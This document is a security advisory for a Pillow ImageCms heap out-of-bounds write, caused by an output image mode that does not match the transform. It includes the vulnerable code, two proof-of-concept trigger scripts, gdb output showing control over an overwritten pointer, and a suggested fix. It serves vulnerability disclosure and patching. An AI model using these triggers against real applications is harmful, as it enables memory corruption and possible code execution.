CVE-2026-59205

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:

def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

If imOut is provided, Pillow does not check:

im.mode == self.input_mode
imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:

static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPE_RGBA_8, which writes 4 bytes per pixel:

case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 * width bytes for that row.

For width 4096:

destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")

Observed locally on Pillow 12.3.0.dev0:

before
after
free(): invalid next size (normal)
Aborted (core dumped)

Controlled overwrite evidence PoC:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to ImageCmsTransform.apply(). The source image pixels influence the bytes written out of bounds.

Suggested fix

Validate modes before calling into the native transform:

def apply(self, im, imOut=None):
    if im.mode != self.input_mode:
        raise ValueError("input mode mismatch")
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    elif imOut.mode != self.output_mode:
        raise ValueError("output mode mismatch")
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

The C extension should also defensively reject mismatched image modes before calling cmsDoTransform().